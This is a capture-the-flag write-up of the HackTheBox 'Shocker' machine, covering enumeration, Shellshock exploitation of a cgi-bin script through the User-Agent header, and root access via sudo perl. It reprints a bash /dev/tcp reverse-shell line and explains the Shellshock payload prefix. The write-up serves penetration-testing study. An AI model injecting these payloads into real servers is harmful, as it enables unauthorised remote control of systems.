Shocker — HackTheBox (HTB)
Shellshock Vulnerability and Script Explained
This is a HTB Box in TJ_Null’s List for OSCP Preparations. While there are numerous write-ups and videos that explain the concepts, I want to share my personal insights and approaches to solve this box. I’ve encountered several problems in my approach and I would like to share these learning moments with you. I actually wanted to explain the script involved in the Shellshock too!
Lets begin with a simple NMAP scan. The scan took me a lot of time for some reason. I scanned all the ports so that I don’t miss anything important.
nmap -sC -sV -O -p- 10.10.10.56 -v-sC : Checks for any vulnerability using nmap’s default scripts.
-sV : To determine the Service/Version Information.
-O : This enables the OS Detection
-v : Verbose
-Pn : (Not always necessary) Skips the host discovery stage.
UDP Scan runs forever. It’s best to move forward by temporarily skipping this step.
There are 2 ports open: Port 80 and Port 2222. Port 80 is running on Apache httpd 2.4.18 and SSH on OpenSSH 7.2p2 Ubuntu 4ubuntu2.2. A quick research on both versions in exploit DB gives no immediate vulnerabilities associated with them. My usual approach is to initiate a nikto scan side by side as they are super time consuming. At the moment, we haven't found any exploitable vulnerabilities.
Lets run a Directory scan using Dirbuster.
I have set the parameters as follows. I have used a smaller directory size for the brute force.
I’ve identified two files: “icons” and “cgi-bin.” I’ll be honest with you. I’m relatively new to OSCP preparations. I wasn’t initially aware of the vulnerability “cgi-bin” had. I was disappointed and it took me some time to figure out.
Fortunately, I found that https://book.hacktricks.xyz had a page dedicated to the “cgi-bin” vulnerabilities. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi clarified that the “cgi-bin” directory was vulnerable to shellshock and we could get a reverse shell! I quickly searched for shellshock exploit
I found a GitHub page that provided further guidance. Getting HTTP 200 or a 403 status code was a possibility. Lets gather more insights from the website.
I’m confident that many others have encountered this situation as well. Believe me, this experience was a valuable lesson. I’ve learned the importance of including trying a “/” in the URL. I did a quick search on why this happened. It turns out that the problem is due to some misconfigurations.
The second paragraph advises us to proceed with a brute force approach using extensions such as “.sh,” “.cgi,” or “.pl” (.pl was mentioned in the hacktricks). I used Dirbuster once again to carry out this step.
I intentionally omitted the use of “/” in the URL. Instead, I specified to begin with “/” in the “Dir to start with”.
We get a user.sh file. Upon visiting the page, it gives certain text output.
The output I got seemed familiar, so I decided to conduct a quick search for confirmation. As it turns out, the text output corresponds to a Linux load performance test of some kind.
I was excited to learn more about shellshock and how to use it for getting a reverse shell. The next step was exploring into the script, which is something I always enjoy. I used the https://github.com/b4keSn4ke/CVE-2014-6271/blob/main/shellshock.py to understand about shellshock. You could use any script.
I was unsure about the purpose of using () { :; }; in the payload. I did a quick search to understand it’s significance, although it did take me a bit of time to fully grasp. It turns out that () { :; }; is a no-op function in bash. The image and link that I've included below provide a clear explanation of this concept.
Now everything falls into place! The inclusion of the no-op function is crucial. Without it, injecting a reverse shell wouldn’t be possible.
Lets break down the reverse shell
reverse_shell = '/bin/bash -c /bin/bash -i >& /dev/tcp/{0}/{1} 0>&1'.format(args.LHOST,args.LPORT)
-c: flag indicates that the following command will be executed in the shell.-iflag specifies Bash should be run in interactive mode, allowing for interactive command execution.>& /dev/tcp/{0}/{1}: This part of the command is used to redirecting the standard output (stdout) and standard error (stderr) streams of a command to a network socket. This means we are opening the reverse shell to show us the output!{0}/{1}: acts as placeholders for LPOST (local IP address) and LPORT (local port), which represent the IP and port where we aim to establish a reverse shell connection.
With a clear understanding of how the payload and reverse shell operates, we’re now ready to move on to the injection process.
We use Burpsuite to intercept the request. By sending the request to the repeater, we’ll be able to manually inject the payload and reverse shell to observe the results. Using foxyproxy and burpsuite we are able to get the request.
We’ll send the request to the repeater. Upon futher analysis on the script, it becomes clear that the “User-agent” field can be injected with payload and reverse shell. Removing the existing value of User-agent and using our payload and reverse shell.
Before sending the modified request, set up a listener on any IP and port 4444.
I send the modified request to observe whether I would receive any response. At this point, I observed that I did not get any response back. Turns out to be a good thing :)
Perfect! We got a reverse shell.
An easy approach involves using script like LinEnum to identify vulnerability for privilege escalation. I prefer using hacktricks Hack-book for Linux Privilege Escalation. The checklist provides ways to execute straightforward commands. If these methods don’t get me the results, Using an automated tool would be my next approach.
I faced another challenge when doing the Linux Privilege Escalation. I started checking for potential kernel exploits or privilege escalation based on the Linux version, which turned out to be a mistake. Instead, I should have initially executed all the simpler commands. This way, I wouldn’t have wasted time on checking the Linux version.
A straightforward “sudo -l” command directly exposed the vulnerability in the “perl” binary. We could execute the commands using the command line flag “-e ”
Success! We’ve managed to gain root access!
Mistakes Made (Never do them Again!!!)
1 ) Never underestimate any directories like “cgi-bin.” Always give a quick search to any data you come across. There might be hidden gems. However, avoid falling into unnecessary rabbit holes. Manage your time wisely.
2 ) Never wait for the tools to give results. Run them in the background while you continue your enumeration.
3 ) The simple addition of “/” at the end of URLs can make a big difference. This is where most of us wasted our time! Small detail can prevent a lot of frustration.
4 ) Make sure not to skip over any part of a website while Footprinting. Important information might be hiding in plain sight. Check for as much as resources possible.
5 ) Avoid getting stuck on a single step for too long. Execute all the necessary actions first and then search for vulnerabilities.
Hope you understood the challenge. Do check out my other blogs.
Don’t forget to give some claps if you reached here :) Follow me for more write-ups.
Goodbye:)
